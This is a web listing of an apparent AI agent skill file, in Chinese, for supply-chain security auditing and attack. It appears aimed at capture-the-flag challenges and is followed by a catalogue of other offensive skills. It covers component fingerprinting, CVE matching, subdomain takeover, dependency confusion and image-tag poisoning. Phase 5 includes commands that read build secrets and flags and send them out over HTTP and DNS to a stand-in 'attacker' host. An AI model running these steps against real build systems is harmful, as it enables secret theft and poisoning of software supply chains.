supply-chain-audit

$npx mdskill add wgpsec/AboutSecurity/supply-chain-audit

Audit third-party components and link versions to CVEs.

  • Identify vulnerable frameworks and dependency files.
  • Integrates with Katana, httpx, and subfinder.
  • Matches detected versions against known CVE databases.
  • Outputs actionable exploit chains for security teams.

SKILL.md

.github/skills/supply-chain-auditView on GitHub ↗
---
name: supply-chain-audit
description: "供应链安全审计与攻击。当指纹识别发现 WordPress/Jenkins/Struts/Django 等已知框架、或发现 /package.json /composer.json /package-lock.json /Gemfile 等依赖声明文件时使用。也适用于发现 CI/CD 构建系统(Jenkins/GitLab CI/OpsFlow)、私有镜像仓库(Harbor/Nexus/Verdaccio)、或题目涉及供应链投毒/dependency confusion 场景。框架和组件版本直接关联 CVE——这是利用链的第一步,也是最容易忽略的攻击面"
metadata:
  tags: "supply-chain,component,cdn,third-party,js,npm,subdomain-takeover,供应链,组件安全,dependency-confusion,投毒,poisoning,build,pipeline,cicd,registry,harbor,nexus"
  category: "exploit"
---

# 供应链安全审计方法论

供应链攻击不需要突破目标的代码——只需要目标依赖的某个组件有漏洞或被投毒。

## ⛔ 深入参考(必读)

- 子域名接管、CDN/SRI 安全、第三方脚本风险、退役组件、风险评估矩阵 → [references/supply-chain-deep.md](references/supply-chain-deep.md)
- **主动供应链攻击**:Dependency Confusion、镜像投毒、CI/CD 注入、构建环境密钥窃取 → [references/supply-chain-attack.md](references/supply-chain-attack.md)

## Phase 1: 组件发现

### 前端 JS 库识别
```bash
katana -u http://target -silent -d 2
```
从 HTML/JS 提取:`<script src="...jquery-3.6.0.min.js">` → jQuery 3.6.0

### 后端技术栈
```bash
curl -sI http://target | grep -i "Server\|X-Powered-By\|X-AspNet"
httpx -u http://target -tech-detect -silent
```
响应头:`X-Powered-By: Express` | `Server: Apache/2.4.41` | `X-AspNet-Version`

### 子域名 → 第三方服务映射
```bash
subfinder -d target.com -silent
ksubdomain -d target.com
```
检查 CNAME:`status.target.com → statuspage.io` | `docs.target.com → gitbook.io`

## Phase 2: 已知漏洞关联

组件+版本 → CVE 匹配:
- jQuery < 3.5.0 → XSS | lodash < 4.17.21 → 命令注入
- Log4j 2.0-2.14.1 → RCE | Apache 2.4.49-2.4.50 → 路径穿越 RCE

```bash
nuclei -u http://target -severity critical,high
```

## Phase 3: 子域名接管
CNAME 指向已注销服务 → 攻击者注册 → 控制子域名内容
→ 检测方法和可接管服务列表 → [references/supply-chain-deep.md](references/supply-chain-deep.md)

## Phase 4: CDN 和外部资源
无 SRI 的 CDN 引用 = CDN 被入侵即中招
→ 详细评估方法 → [references/supply-chain-deep.md](references/supply-chain-deep.md)

## Phase 5: 主动供应链攻击(投毒)

当目标运行构建系统且使用私有包/镜像仓库时,可通过投毒获取构建环境中的 flag/密钥。

### 5.1 侦察构建环境
```bash
# 发现私有 Registry
curl -s http://registry:5000/v2/_catalog              # Docker
curl -s http://nexus:8081/service/rest/v1/search       # Nexus
curl -s http://verdaccio:4873/-/all | jq 'keys[]'     # npm

# 从构建日志/配置提取内部包名
grep -r 'npm install\|pip install\|docker pull' /build/ /ci/
```

### 5.2 Dependency Confusion
上传同名高版本包到公共/可写 Registry → 构建系统拉取攻击者的包 → install hook 执行恶意代码

### 5.3 镜像 Tag 覆盖
推送同 tag 的恶意镜像 → 下次构建拉取被毒化的 base image

### 5.4 构建环境 Flag 提取
```bash
env | grep -i flag
find / -name "flag*" 2>/dev/null
cat /run/secrets/*
# 通过 HTTP/DNS 外传
curl http://attacker/exfil -d "$(cat /flag*)"
nslookup $(cat /flag* | base64 -w0).attacker.com
```

→ 完整攻击步骤和 payload → [references/supply-chain-attack.md](references/supply-chain-attack.md)

## 注意事项
- 核心是**完整性**——漏掉一个组件就可能漏掉关键风险
- 子域名接管是最容易出成果的方向

More from wgpsec/AboutSecurity

SkillDescription
401-403-bypass401/403 访问拒绝绕过方法论。当遇到管理后台、API 端点返回 401/403 Forbidden 时使用。覆盖路径操纵、HTTP 方法篡改、Header 注入、协议降级、组合攻击
ad-acl-abuseActive Directory ACL 滥用攻击方法论。当 BloodHound 发现 GenericAll/WriteDACL/WriteOwner/GenericWrite/ForceChangePassword 等危险 ACE 时使用。覆盖 ACE 枚举、权限滥用链、Shadow Credentials、RBCD 攻击
ad-delegation-attackKerberos 委派攻击(非约束/约束/RBCD)。当 BloodHound 发现委派配置、或已获取有 SPN 的服务账号/机器账号控制权时使用。通过 S4U 协议滥用可实现跨服务模拟任意用户,常用于域内权限提升和横向移动。
ad-domain-attackActive Directory 域环境攻击全链路。当目标主机在域环境中(systeminfo 显示 Domain 非 WORKGROUP)、发现 88/389/636 端口、或获取到域用户凭据时使用。覆盖域信息收集、用户枚举、Kerberoasting、AS-REP Roasting、委派攻击、ACL 滥用、DCSync、Golden/Silver Ticket
ad-persistenceAD 域环境持久化技术。当已获取域管/本地管理员权限、需要建立持久访问以确保重启或密码更改后仍能回到目标环境时使用。覆盖主机级持久化(计划任务/注册表Run/COM劫持/WMI事件订阅/Windows服务/启动文件夹)、域级持久化(Golden Ticket/Silver Ticket/Skeleton Key/DSRM/AdminSDHolder)、DCShadow/GoldenGMSA高级技术、清理命令与检测规避
ad-trust-attack域信任关系攻击。当目标存在多域/多林环境时使用。包含父子域提权(Golden Ticket + ExtraSid)、跨林攻击(SID History/MSSQL Trust Links)、单向信任利用。已获取子域 Domain Admin 或发现信任关系时优先加载。
adcs-certipy-attackActive Directory Certificate Services (ADCS) 证书攻击。当发现域内有 CA 服务器、ADCS Web Enrollment、证书模板配置错误时使用。覆盖 ESC1-ESC11 所有证书滥用路径、Certipy 工具链、证书伪造、NTLM 中继到 ADCS。发现 ADCS/CA/证书/certsrv 相关内容时一定要使用此技能
adinfo-enum使用 Adinfo 进行 Active Directory 信息收集。当获得域用户凭据后需要快速收集域环境信息时使用。Adinfo 是一个快速 AD 信息收集工具,一条命令输出域控列表、域管用户、信任关系、GPO、SPN、委派配置等关键信息——比手动 LDAP 查询快得多。发现域环境后第一步信息收集使用此技能
agent-security|
ai-data-security|